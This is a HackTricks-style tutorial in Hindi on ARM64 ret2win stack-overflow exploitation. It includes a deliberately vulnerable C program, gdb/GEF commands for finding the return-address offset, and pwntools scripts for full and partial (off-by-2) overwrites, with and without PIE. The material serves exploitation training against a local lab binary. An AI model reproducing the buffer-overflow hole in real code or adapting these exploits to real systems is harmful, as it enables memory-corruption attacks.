# Ret2win - arm64 {{#include ../../../banners/hacktricks-training.md}} arm64 का परिचय यहाँ खोजें: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void win() { printf("Congratulations!\n"); } void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` पीआईई और कैनरी के बिना संकलित करें: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` ## Finding the offset ### Pattern option यह उदाहरण [**GEF**](https://github.com/bata24/gef) का उपयोग करके बनाया गया था: gdb को gef के साथ स्टार्ट करें, पैटर्न बनाएं और इसका उपयोग करें: ```bash gdb -q ./ret2win pattern create 200 run ```
arm64 उस पते पर लौटने की कोशिश करेगा जो रजिस्टर x30 में है (जो समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं: ```bash pattern search $x30 ```
**ऑफसेट 72 है (9x48)।** ### स्टैक ऑफसेट विकल्प स्टैक पते को प्राप्त करने से शुरू करें जहाँ pc रजिस्टर संग्रहीत है: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ```
अब `read()` के बाद एक ब्रेकपॉइंट सेट करें और तब तक जारी रखें जब तक `read()` निष्पादित न हो जाए और एक पैटर्न सेट करें जैसे 13371337: ``` b *vulnerable_function+28 c ```
इस पैटर्न को मेमोरी में खोजें:
फिर: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## No PIE ### नियमित **`win`** फ़ंक्शन का पता प्राप्त करें: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` शोषण: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p64(0x00000000004006c4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ```
### Off-by-1 वास्तव में, यह स्टैक में संग्रहीत PC में ऑफ-बाय-2 के समान होगा। सभी रिटर्न पते को ओवरराइट करने के बजाय, हम **केवल अंतिम 2 बाइट्स** को `0x06c4` के साथ ओवरराइट करने जा रहे हैं। ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p16(0x06c4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ```
आप ARM64 में एक और off-by-one उदाहरण [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) में पा सकते हैं, जो एक काल्पनिक भेद्यता में वास्तविक off-by-**one** है। ## With PIE > [!TIP] > बाइनरी को **`-no-pie` तर्क के बिना संकलित करें** ### Off-by-2 बिना किसी लीक के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (**0x7d4**) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:
```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) # Prepare the payload offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr # Send the payload p.send(payload) # Check response print(p.recvline()) p.close() ``` {{#include ../../../banners/hacktricks-training.md}}